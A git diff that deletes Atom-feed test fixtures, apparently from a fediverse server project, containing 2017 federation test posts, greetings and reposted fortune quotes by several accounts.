tag:social.heldscal.la,2017-05-03:noticeId=2030733:objectType=note - 2017-05-03T12:29:20Z - 2017-05-03T12:29:31Z - New status by lambadalambda@social.heldscal.la - - https://social.heldscal.la/user/23211 - http://activitystrea.ms/schema/1.0/person - https://social.heldscal.la/user/23211 - lambadalambda - lambadalambda@social.heldscal.la - Call me Deacon Blues. - - - - lambadalambda - Constance Variable - Call me Deacon Blues. - public - - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - Time for work. <a href="https://social.heldscal.la/file/953c117a1e7e4c763755d2ac29cf1aae08e025599f4a4cc11ddff4082c07f969.jpg">https://social.heldscal.la/attachment/120552</a> - - - public - - - Time for work. <a href="https://social.heldscal.la/file/953c117a1e7e4c763755d2ac29cf1aae08e025599f4a4cc11ddff4082c07f969.jpg">https://social.heldscal.la/attachment/120552</a> - - public - - - - - tag:mastodon.social,2017-05-03:objectId=4934452:objectType=Status - 2017-05-03T08:21:09Z - 2017-05-03T08:21:09Z - lambadalambda shared a status by lain@pleroma.soykaf.com - http://activitystrea.ms/schema/1.0/activity - http://activitystrea.ms/schema/1.0/share - - https://pleroma.soykaf.com/objects/4c1bda26-902e-4525-9fcd-b9fd44925193 - 2017-05-03T08:04:44Z - 2017-05-03T08:05:52Z - New status by lain@pleroma.soykaf.com - - https://pleroma.soykaf.com/users/lain - http://activitystrea.ms/schema/1.0/person - https://pleroma.soykaf.com/users/lain - lain - lain@pleroma.soykaf.com - Test account - - - - lain - Lain Iwakura - Test account - public - - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - Added returning the entries as xml... let's see if the mastodon hammering stops now. - - public - - - Added returning the entries as xml... let's see if the mastodon hammering stops now. - - public - - - - - tag:mastodon.social,2017-05-02:objectId=4905499:objectType=Status - 2017-05-02T19:34:21Z - 2017-05-02T19:34:21Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://pleroma.soykaf.com/users/lain" class="u-url mention">@<span>lain</span></a></span> yay!</p> - - - public - - - - - - tag:mastodon.social,2017-05-02:objectId=4905442:objectType=Status - 2017-05-02T19:33:33Z - 2017-05-02T19:33:33Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://pleroma.soykaf.com/users/lain" class="u-url mention">@<span>lain</span></a></span> so?</p> - - - public - - - - - - tag:mastodon.social,2017-05-02:objectId=4901603:objectType=Status - 2017-05-02T18:33:06Z - 2017-05-02T18:33:06Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://pleroma.soykaf.com/users/lain" class="u-url mention">@<span>lain</span></a></span> hey</p> - - - public - - - - - - tag:mastodon.social,2017-05-01:objectId=4836720:objectType=Status - 2017-05-01T18:52:16Z - 2017-05-01T18:52:16Z - lambadalambda shared a status by lain@pleroma.soykaf.com - http://activitystrea.ms/schema/1.0/activity - http://activitystrea.ms/schema/1.0/share - - https://pleroma.soykaf.com/objects/7b41bb51-9aba-436a-82d9-dd3f5aca98c9 - 2017-05-01T18:50:54Z - 2017-05-01T18:50:57Z - New status by lain@pleroma.soykaf.com - - https://pleroma.soykaf.com/users/lain - http://activitystrea.ms/schema/1.0/person - https://pleroma.soykaf.com/users/lain - lain - lain@pleroma.soykaf.com - Test account - - - - lain - Lain Iwakura - Test account - public - - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <a href="https://mastodon.social/users/lambadalambda">@lambadalambda@mastodon.social</a> you're an all-star. - - - public - - - - <a href="https://mastodon.social/users/lambadalambda">@lambadalambda@mastodon.social</a> you're an all-star. - - public - - - - - tag:mastodon.social,2017-05-01:objectId=4836142:objectType=Status - 2017-05-01T18:38:47Z - 2017-05-01T18:38:47Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://pleroma.soykaf.com/users/lain" class="u-url mention">@<span>lain</span></a></span> Hey now!</p> - - - public - - - - - - tag:mastodon.social,2017-05-01:objectId=4836055:objectType=Status - 2017-05-01T18:37:04Z - 2017-05-01T18:37:04Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://pleroma.soykaf.com/users/lain" class="u-url mention">@<span>lain</span></a></span> hello</p> - - - public - - - - - - tag:mastodon.social,2017-05-01:objectId=4834850:objectType=Status - 2017-05-01T18:10:43Z - 2017-05-01T18:10:43Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://pleroma.soykaf.com/users/lain" class="u-url mention">@<span>lain</span></a></span> Hey!</p> - - - public - - - - - tag:mastodon.social,2017-04-29:objectId=4694455:objectType=Status - 2017-04-29T18:39:12Z - 2017-04-29T18:39:12Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p>@lain@pleroma.soykaf.com What&apos;s up?</p> - - public - - - - - tag:mastodon.social,2017-04-29:objectId=4694384:objectType=Status - 2017-04-29T18:37:32Z - 2017-04-29T18:37:32Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://social.heldscal.la/lain" class="u-url mention">@<span>lain</span></a></span> Hey.</p> - - - public - - - - - tag:mastodon.social,2017-04-07:objectId=1874242:objectType=Status - 2017-04-07T11:02:56Z - 2017-04-07T11:02:56Z - lambadalambda shared a status by 0xroy@social.wxcafe.net - http://activitystrea.ms/schema/1.0/activity - http://activitystrea.ms/schema/1.0/share - - tag:social.wxcafe.net,2017-04-07:objectId=72554:objectType=Status - 2017-04-07T11:01:59Z - 2017-04-07T11:02:00Z - New status by 0xroy@social.wxcafe.net - - https://social.wxcafe.net/users/0xroy - http://activitystrea.ms/schema/1.0/person - https://social.wxcafe.net/users/0xroy - 0xroy - 0xroy@social.wxcafe.net - ta caution weeb | discussions privées : <a href="https://%F0%9F%92%8C.0xroy.me"><span class="invisible">https://</span><span class="">💌.0xroy.me</span><span class="invisible"></span></a> - - - - 0xroy - 「R O Y 🍵 B O S」 - ta caution weeb | discussions privées : https://💌.0xroy.me - public - - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p>someone pls eli5 matrix (protocol) and riot</p> - - public - - - <p>someone pls eli5 matrix (protocol) and riot</p> - - public - - - - - tag:mastodon.social,2017-04-06:objectId=1768247:objectType=Status - 2017-04-06T11:10:19Z - 2017-04-06T11:10:19Z - lambadalambda shared a status by areyoutoo@mastodon.xyz - http://activitystrea.ms/schema/1.0/activity - http://activitystrea.ms/schema/1.0/share - - tag:mastodon.xyz,2017-04-05:objectId=133327:objectType=Status - 2017-04-05T17:36:41Z - 2017-04-05T18:12:14Z - New status by areyoutoo@mastodon.xyz - - https://mastodon.xyz/users/areyoutoo - http://activitystrea.ms/schema/1.0/person - https://mastodon.xyz/users/areyoutoo - areyoutoo - areyoutoo@mastodon.xyz - devops | retired gamedev | always boost puppy pics - - - - areyoutoo - Raw Butter - devops | retired gamedev | always boost puppy pics - public - - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p>Some UX thoughts for <a href="https://mastodon.xyz/tags/mastodev">#<span>mastodev</span></a>:</p><p>- Would be nice if I could work on multiple draft toots? Clicking to reply to someone seems to erase any draft I had been working on.</p><p>- Kinda risky to click on the Federated Timeline if it loads new toots and scrolls 10ms before I click on something.</p><p>I probably don't know enough web frontend to help, but it might be fun to try.</p> - - - public - - - <p>Some UX thoughts for <a href="https://mastodon.xyz/tags/mastodev">#<span>mastodev</span></a>:</p><p>- Would be nice if I could work on multiple draft toots? Clicking to reply to someone seems to erase any draft I had been working on.</p><p>- Kinda risky to click on the Federated Timeline if it loads new toots and scrolls 10ms before I click on something.</p><p>I probably don't know enough web frontend to help, but it might be fun to try.</p> - - public - - - - - tag:mastodon.social,2017-04-06:objectId=1764509:objectType=Status - 2017-04-06T10:15:38Z - 2017-04-06T10:15:38Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - This is a test for cw federation - <p>This is a test for cw federation body text.</p> - - public - - - - - tag:mastodon.social,2017-04-05:objectId=1645208:objectType=Status - 2017-04-05T07:14:53Z - 2017-04-05T07:14:53Z - lambadalambda shared a status by lambadalambda@social.heldscal.la - http://activitystrea.ms/schema/1.0/activity - http://activitystrea.ms/schema/1.0/share - - tag:social.heldscal.la,2017-04-05:noticeId=1502088:objectType=note - 2017-04-05T06:12:09Z - 2017-04-05T07:12:47Z - New status by lambadalambda@social.heldscal.la - - https://social.heldscal.la/user/23211 - http://activitystrea.ms/schema/1.0/person - https://social.heldscal.la/user/23211 - lambadalambda - lambadalambda@social.heldscal.la - Call me Deacon Blues. - - - - lambadalambda - Constance Variable - Call me Deacon Blues. - public - - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - Federation 101: <a href="https://www.youtube.com/watch?v=t1lYU5CA40o">https://www.youtube.com/watch?v=t1lYU5CA40o</a> - - public - - - Federation 101: <a href="https://www.youtube.com/watch?v=t1lYU5CA40o">https://www.youtube.com/watch?v=t1lYU5CA40o</a> - - public - - - - - tag:mastodon.social,2017-04-05:objectId=1641750:objectType=Status - 2017-04-05T05:44:48Z - 2017-04-05T05:44:48Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://social.heldscal.la/lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span> just a test.</p> - - - public - - - - diff --git a/test/fixtures/tesla_mock/https___pawoo.net_users_pekorino.atom b/test/fixtures/tesla_mock/https___pawoo.net_users_pekorino.atom deleted file mode 100644 index 17d1956e8..000000000 --- a/test/fixtures/tesla_mock/https___pawoo.net_users_pekorino.atom +++ /dev/null @@ -1,231 +0,0 @@ - - - https://pawoo.net/users/pekorino.atom - モノエ - シアトル・米国 - -GNUsocial 英語版 -http://shitposter.club/mono - - - 2017-05-07T09:28:20Z - https://img.pawoo.net/accounts/avatars/000/128/378/original/e1fce04a36a1ad90.jpg - - https://pawoo.net/users/pekorino - http://activitystrea.ms/schema/1.0/person - https://pawoo.net/users/pekorino - pekorino - pekorino@pawoo.net - <p>シアトル・米国</p><p>GNUsocial 英語版<br /><a href="http://shitposter.club/mono" rel="nofollow noopener" target="_blank"><span class="invisible">http://</span><span class="">shitposter.club/mono</span><span class="invisible"></span></a> </p> - - - - pekorino - モノエ - シアトル・米国 - -GNUsocial 英語版 -http://shitposter.club/mono - - - public - - - - - - - tag:pawoo.net,2017-05-07:objectId=9319211:objectType=Status - 2017-05-07T09:56:35Z - 2017-05-07T09:56:35Z - New status by pekorino - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://shitposter.club/moonman" class="u-url mention">@<span>moonman</span></a></span> <span class="h-card"><a href="https://shitposter.club/rw" class="u-url mention">@<span>rw</span></a></span> <span class="h-card"><a href="https://social.heldscal.la/lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span> <span class="h-card"><a href="https://shitposter.club/mono" class="u-url mention">@<span>mono</span></a></span> </p><p>i have to wait for someone to respond to this before i can follow because i dont think this software has a direct follow by url option</p> - - - - - - public - - - - - - tag:pawoo.net,2017-05-07:objectId=9318595:objectType=Status - 2017-05-07T09:54:39Z - 2017-05-07T09:54:39Z - New status by pekorino - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://shitposter.club/mono" class="u-url mention">@<span>mono</span></a></span> <span class="h-card"><a href="https://social.heldscal.la/lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span> <span class="h-card"><a href="https://shitposter.club/rw" class="u-url mention">@<span>rw</span></a></span> <span class="h-card"><a href="https://shitposter.club/moonman" class="u-url mention">@<span>moonman</span></a></span> <br />please respond</p> - - - - - - public - - - - - - tag:pawoo.net,2017-05-07:objectId=9313978:objectType=Status - 2017-05-07T09:39:17Z - 2017-05-07T09:39:17Z - New status by pekorino - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://shitposter.club/moonman" class="u-url mention">@<span>moonman</span></a></span> <br />mastodon is so slow. browser crashed twice trying to set avatar</p> - - - public - - - - - tag:pawoo.net,2017-05-07:objectId=9312691:objectType=Status - 2017-05-07T09:34:38Z - 2017-05-07T09:34:38Z - New status by pekorino - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://shitposter.club/hardbass2k8" class="u-url mention">@<span>hardbass2k8</span></a></span> <a href="https://pawoo.net/media/mZJjLpbPU72GFEz2Svk" rel="nofollow noopener" target="_blank"><span class="invisible">https://</span><span class="ellipsis">pawoo.net/media/mZJjLpbPU72GFE</span><span class="invisible">z2Svk</span></a></p> - - - - public - - - - - - tag:pawoo.net,2017-05-07:objectId=9312379:objectType=Status - 2017-05-07T09:33:29Z - 2017-05-07T09:33:29Z - New status by pekorino - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://shitposter.club/hardbass2k8" class="u-url mention">@<span>hardbass2k8</span></a></span> <a href="https://pawoo.net/media/nt5JHBEHyTN2bqzdcGU" rel="nofollow noopener" target="_blank"><span class="invisible">https://</span><span class="ellipsis">pawoo.net/media/nt5JHBEHyTN2bq</span><span class="invisible">zdcGU</span></a></p> - - - - public - - - - - - tag:pawoo.net,2017-05-07:objectId=9311765:objectType=Status - 2017-05-07T09:31:26Z - 2017-05-07T09:31:26Z - New status by pekorino - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p><a href="https://pawoo.net/media/C4RV6ubsEtvS04DX6qs" rel="nofollow noopener" target="_blank"><span class="invisible">https://</span><span class="ellipsis">pawoo.net/media/C4RV6ubsEtvS04</span><span class="invisible">DX6qs</span></a></p> - - - public - - - - - tag:pawoo.net,2017-05-07:objectId=9311610:objectType=Status - 2017-05-07T09:30:59Z - 2017-05-07T09:30:59Z - New status by pekorino - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p><a href="https://pawoo.net/media/MBmkeEdrjs8pAtCHN6s" rel="nofollow noopener" target="_blank"><span class="invisible">https://</span><span class="ellipsis">pawoo.net/media/MBmkeEdrjs8pAt</span><span class="invisible">CHN6s</span></a></p> - - - public - - - - - tag:pawoo.net,2017-05-07:objectId=9307782:objectType=Status - 2017-05-07T09:16:47Z - 2017-05-07T09:16:47Z - New status by pekorino - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://shitposter.club/mono" class="u-url mention">@<span>mono</span></a></span></p><p>test</p> - - - public - - - - - tag:pawoo.net,2017-05-07:objectId=9307444:objectType=Status - 2017-05-07T09:15:42Z - 2017-05-07T09:15:42Z - New status by pekorino - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://shitposter.club/hardbass2k8" class="u-url mention">@<span>hardbass2k8</span></a></span> テスト</p> - - - public - - - - - - tag:pawoo.net,2017-05-07:objectId=9307239:objectType=Status - 2017-05-07T09:14:58Z - 2017-05-07T09:14:58Z - New status by pekorino - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p>ててててててテスト</p> - - public - - - - - tag:pawoo.net,2017-04-20:objectId=2212164:objectType=Status - 2017-04-20T06:19:18Z - 2017-04-20T06:19:18Z - New status by pekorino - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://shitposter.club/mono" class="u-url mention">@<span>mono</span></a></span> <a href="https://pawoo.net/media/iMbjMBVPfZJX3lUC2Sc" rel="nofollow noopener" target="_blank"><span class="invisible">https://</span><span class="ellipsis">pawoo.net/media/iMbjMBVPfZJX3l</span><span class="invisible">UC2Sc</span></a></p> - - - - public - - - - - - tag:pawoo.net,2017-04-20:objectId=2206216:objectType=Status - 2017-04-20T05:57:59Z - 2017-04-20T05:57:59Z - New status by pekorino - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p>テスト</p> - - public - - - - - tag:pawoo.net,2017-04-20:objectId=2204702:objectType=Status - 2017-04-20T05:52:09Z - 2017-04-20T05:52:09Z - New status by pekorino - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p>HELLOWORLD</p> - - public - - - - diff --git a/test/fixtures/tesla_mock/https___pleroma.soykaf.com_users_lain_feed.atom.xml b/test/fixtures/tesla_mock/https___pleroma.soykaf.com_users_lain_feed.atom.xml deleted file mode 100644 index a2a2629a6..000000000 --- a/test/fixtures/tesla_mock/https___pleroma.soykaf.com_users_lain_feed.atom.xml +++ /dev/null @@ -1 +0,0 @@ -https://pleroma.soykaf.com/users/lain/feed.atomlain's timeline2017-05-05T08:38:03.385598https://pleroma.soykaf.com/users/lainhttp://activitystrea.ms/schema/1.0/personhttps://pleroma.soykaf.com/users/lainlainLain IwakuraTest accountlainhttp://activitystrea.ms/schema/1.0/activityhttp://activitystrea.ms/schema/1.0/sharehttps://pleroma.soykaf.com/activities/579e4224-b2ab-4ffa-8bbe-f7197a0a38d1lain repeated a noticeRT In just seven days, I can make you a man!<br> -- The Rocky Horror Picture Show2017-05-05T08:38:03.3855902017-05-05T08:38:03.385598https://pleroma.soykaf.com/contexts/e8673466-9642-4c9e-8781-f0f69d6b15aehttp://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/53dd40f4-3069-45a1-863b-94a9b317093dNew note by fortuneIn just seven days, I can make you a man!<br> -- The Rocky Horror Picture Show2017-05-05T02:10:02.9308022017-05-05T08:38:03.423539https://pleroma.soykaf.com/contexts/e8673466-9642-4c9e-8781-f0f69d6b15aehttps://pleroma.soykaf.com/users/fortunehttp://activitystrea.ms/schema/1.0/personhttps://pleroma.soykaf.com/users/fortunefortunefortuneThe trusty unix fortune filefortunehttp://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/2bc86888-a256-4771-bb53-903f375804f9New note by lainRTs federating into pleroma now.2017-05-04T18:18:50.2764702017-05-04T18:18:50.276476https://pleroma.soykaf.com/contexts/b7ae9350-f317-48aa-8058-2668091bb280http://activitystrea.ms/schema/1.0/favoritehttps://pleroma.soykaf.com/activities/902b1f50-f295-4189-8c15-9c880919e121New favorite by lainlain favorited something2017-05-04T08:03:01.3088902017-05-04T08:03:01.308927http://activitystrea.ms/schema/1.0/notetag:gs.smuglo.li,2017-05-03:noticeId=2164642:objectType=commenthttps://pleroma.soykaf.com/contexts/9419f742-aaba-4eb5-89a2-8b599e8bf43chttp://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/4e396e66-b063-454c-92c6-583506a9a2deNew note by lainClassic.<br><a href='https://pleroma.soykaf.com/media/adc36781-9765-4d9a-b57c-99b7a99108b2/mikodaemonstop.jpg'>https://pleroma.soykaf.com/media/adc36781-9765-4d9a-b57c-99b7a99108b2/mikodaemonstop.jpg</a>2017-05-04T07:59:45.1806192017-05-04T07:59:45.180628https://pleroma.soykaf.com/contexts/6afd9659-41e6-406d-ae97-43b880722861http://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/85d183e9-c935-4655-a1e6-8d69a4108235New note by lainん?<br><a href='https://pleroma.soykaf.com/media/ab144c6d-a38c-4d35-a60b-9a998becc094/n.gif'>https://pleroma.soykaf.com/media/ab144c6d-a38c-4d35-a60b-9a998becc094/n.gif</a>2017-05-04T07:58:08.8107162017-05-04T07:58:08.810726https://pleroma.soykaf.com/contexts/2e1aa616-86ce-4b50-9c81-63045a972156http://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/7c5c45bb-e4d9-4f72-b4c6-0314afbd3553New note by lainyeah.2017-05-04T07:55:17.3352902017-05-04T07:55:17.335299https://pleroma.soykaf.com/contexts/702c06cf-56ff-4a2f-bf5a-150bc00bb168http://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/f33f5f54-1c1d-4462-b9ed-229bb635dfd8New note by lainyeah.2017-05-04T07:49:24.9314842017-05-04T07:49:24.931492https://pleroma.soykaf.com/contexts/c4932e7a-00cb-431a-b4ec-7404cb9daf65http://activitystrea.ms/schema/1.0/favoritehttps://pleroma.soykaf.com/activities/0709bc79-7ac5-4983-b6d0-2205bf5ceba3New favorite by lainlain favorited something2017-05-03T20:08:11.2945792017-05-03T20:08:11.294587http://activitystrea.ms/schema/1.0/notetag:pawoo.net,2017-05-03:objectId=7967690:objectType=Statushttps://pleroma.soykaf.com/contexts/07a4b34d-6255-4bb2-8c73-c295a09ac952http://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/72c0288e-62d8-43d9-b3d8-1a9d78be8375New note by lain<a href='https://pawoo.net/users/God_Emperor_of_Dune'>@God_Emperor_of_Dune@pawoo.net</a> no man, just some fun domination play among buddies, nothing homo about it.2017-05-03T20:01:00.9983142017-05-03T20:01:00.998322https://pleroma.soykaf.com/contexts/07a4b34d-6255-4bb2-8c73-c295a09ac952http://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/d846409e-cf2a-4b68-a149-d5de34a91b0dNew note by lain<a href='https://social.heldscal.la/user/24974'>@dtluna@social.heldscal.la</a> btfo.<br><a href='https://pleroma.soykaf.com/media/fbe42e87-5574-4544-89ba-29ddf46227fa/pnc__picked_media_1889ce61-4961-4fea-8a14-04fe6783ebf6.jpg'>https://pleroma.soykaf.com/media/fbe42e87-5574-4544-89ba-29ddf46227fa/pnc__picked_media_1889ce61-4961-4fea-8a14-04fe6783ebf6.jpg</a>2017-05-03T20:00:15.8609952017-05-03T20:00:15.861002https://pleroma.soykaf.com/contexts/0e88f35e-1a38-4181-bef9-5cbb0d943c63http://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/9075265f-f3b2-40e8-809f-10714f05a1fdNew note by lain#nohomo <br><a href='https://pleroma.soykaf.com/media/5cc5ad91-d637-4c45-a691-5ea778dc1bb3/pnc__picked_media_f62dc9ae-ea23-4fe6-bf85-cb75a129ab34.jpg'>https://pleroma.soykaf.com/media/5cc5ad91-d637-4c45-a691-5ea778dc1bb3/pnc__picked_media_f62dc9ae-ea23-4fe6-bf85-cb75a129ab34.jpg</a>2017-05-03T19:50:38.5891062017-05-03T19:50:38.589113https://pleroma.soykaf.com/contexts/07a4b34d-6255-4bb2-8c73-c295a09ac952http://activitystrea.ms/schema/1.0/favoritehttps://pleroma.soykaf.com/activities/7924e992-0a95-40d9-8d17-7278c6c634c9New favorite by lainlain favorited something2017-05-03T18:32:59.2733752017-05-03T18:32:59.273382http://activitystrea.ms/schema/1.0/notetag:gs.smuglo.li,2017-05-03:noticeId=2164774:objectType=commenthttps://pleroma.soykaf.com/contexts/9419f742-aaba-4eb5-89a2-8b599e8bf43chttp://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/569571ba-f54c-41b0-bde4-0fede54599f0New note by lain<a href='https://gs.smuglo.li/user/2'>@nepfag@gs.smuglo.li</a>@gs.smuglo.li I'll do proper subfolders soon, for now it's one per attachment + thumbs etc.2017-05-03T18:27:01.4499492017-05-03T18:27:01.449956https://pleroma.soykaf.com/contexts/9419f742-aaba-4eb5-89a2-8b599e8bf43chttp://activitystrea.ms/schema/1.0/activityhttp://activitystrea.ms/schema/1.0/sharehttps://pleroma.soykaf.com/activities/b6cc5d7c-0785-4785-a689-f1b05dc9b24dlain repeated a noticeRT <p><span class="h-card"><a href="https://pleroma.soykaf.com/users/lain" class="u-url mention">@<span>lain</span></a></span> Hey now!</p>2017-05-03T18:13:48.8910612017-05-03T18:13:48.891069https://pleroma.soykaf.com/contexts/ec6fdd27-0ec1-4672-8408-5a8e5a9c094bhttp://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posttag:mastodon.social,2017-05-01:objectId=4836142:objectType=StatusNew note by lambadalambda@mastodon.social<p><span class="h-card"><a href="https://pleroma.soykaf.com/users/lain" class="u-url mention">@<span>lain</span></a></span> Hey now!</p>2017-05-01T18:38:49.3653912017-05-03T18:13:48.934745https://pleroma.soykaf.com/contexts/ec6fdd27-0ec1-4672-8408-5a8e5a9c094bhttps://mastodon.social/users/lambadalambdahttp://activitystrea.ms/schema/1.0/personhttps://mastodon.social/users/lambadalambdalambadalambda@mastodon.socialCritical Valuenillambadalambda@mastodon.socialhttp://activitystrea.ms/schema/1.0/activityhttp://activitystrea.ms/schema/1.0/sharehttps://pleroma.soykaf.com/activities/3c09eb31-4ba8-4ff5-b4fa-8f6f74d58bf0lain repeated a noticeRT Haha, salmons from mastodon didn't work because it's not implementing conversation id...2017-05-03T18:13:15.1480412017-05-03T18:13:15.148049tag:social.heldscal.la,2017-05-01:objectType=thread:nonce=86cda6c734401d80http://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posttag:social.heldscal.la,2017-05-01:noticeId=2000425:objectType=noteNew note by lambadalambda@social.heldscal.laHaha, salmons from mastodon didn't work because it's not implementing conversation id...2017-05-01T18:39:36.2163772017-05-03T18:13:15.171143tag:social.heldscal.la,2017-05-01:objectType=thread:nonce=86cda6c734401d80https://social.heldscal.la/user/23211http://activitystrea.ms/schema/1.0/personhttps://social.heldscal.la/user/23211lambadalambda@social.heldscal.laConstance Variablenillambadalambda@social.heldscal.lahttp://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/b8fc83d5-d7c0-4b5f-8976-0317b51935eaNew note by lain.<br><a href='https://pleroma.soykaf.com/media/563008a7-9a60-47ac-a263-22835729adf6/1492530528735.png'>https://pleroma.soykaf.com/media/563008a7-9a60-47ac-a263-22835729adf6/1492530528735.png</a>2017-05-03T18:12:50.7452412017-05-03T18:12:50.745249https://pleroma.soykaf.com/contexts/9419f742-aaba-4eb5-89a2-8b599e8bf43chttp://activitystrea.ms/schema/1.0/activityhttp://activitystrea.ms/schema/1.0/sharehttps://pleroma.soykaf.com/activities/ac93ecef-cde0-48e8-ae4b-19e3b94dbe30lain repeated a noticeRT Awright, which one of you hid my PENIS ENVY?2017-05-03T18:08:49.2310012017-05-03T18:08:49.235354https://pleroma.soykaf.com/contexts/a9132cf8-6afa-4dd8-8b29-7b6fcab623b8http://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/04e15c66-4936-4930-a134-32841f088bcfNew note by fortuneAwright, which one of you hid my PENIS ENVY?2017-05-01T19:40:03.1699962017-05-03T18:08:49.285347https://pleroma.soykaf.com/contexts/a9132cf8-6afa-4dd8-8b29-7b6fcab623b8https://pleroma.soykaf.com/users/fortunehttp://activitystrea.ms/schema/1.0/personhttps://pleroma.soykaf.com/users/fortunefortunefortuneThe trusty unix fortune filefortunehttp://activitystrea.ms/schema/1.0/activityhttp://activitystrea.ms/schema/1.0/sharehttps://pleroma.soykaf.com/activities/54b10fa9-d602-4a0f-b659-e6d3f7bc8c4clain repeated a noticeRT He is a man capable of turning any colour into grey.<br> -- John LeCarre2017-05-03T17:44:47.5789842017-05-03T17:44:47.578996https://pleroma.soykaf.com/contexts/8aebc8e5-5352-4047-8b74-4098a5830ccahttp://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/70ded299-184d-49cd-af17-23c0950536aaNew note by fortuneHe is a man capable of turning any colour into grey.<br> -- John LeCarre2017-05-02T08:40:03.4194652017-05-03T17:44:47.646192https://pleroma.soykaf.com/contexts/8aebc8e5-5352-4047-8b74-4098a5830ccahttps://pleroma.soykaf.com/users/fortunehttp://activitystrea.ms/schema/1.0/personhttps://pleroma.soykaf.com/users/fortunefortunefortuneThe trusty unix fortune filefortunehttp://activitystrea.ms/schema/1.0/activityhttp://activitystrea.ms/schema/1.0/sharehttps://pleroma.soykaf.com/activities/eff9fe49-8fc9-48e6-a1a0-921aa25c8118lain repeated a noticeRT The real trouble with women is that they have *all* the pussy.2017-05-03T17:30:22.5960372017-05-03T17:30:22.596048https://pleroma.soykaf.com/contexts/8c88c9df-4e40-4f54-b15f-c21848d1a8e2http://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/0b9b008d-49eb-48a9-a18d-172ce7d01ea2New note by fortuneThe real trouble with women is that they have *all* the pussy.2017-05-02T12:10:03.6030862017-05-03T17:30:22.683141https://pleroma.soykaf.com/contexts/8c88c9df-4e40-4f54-b15f-c21848d1a8e2https://pleroma.soykaf.com/users/fortunehttp://activitystrea.ms/schema/1.0/personhttps://pleroma.soykaf.com/users/fortunefortunefortuneThe trusty unix fortune filefortunehttp://activitystrea.ms/schema/1.0/favoritehttps://pleroma.soykaf.com/activities/5d90bb26-ce23-4a5b-8dbd-651011780007New favorite by lainlain favorited 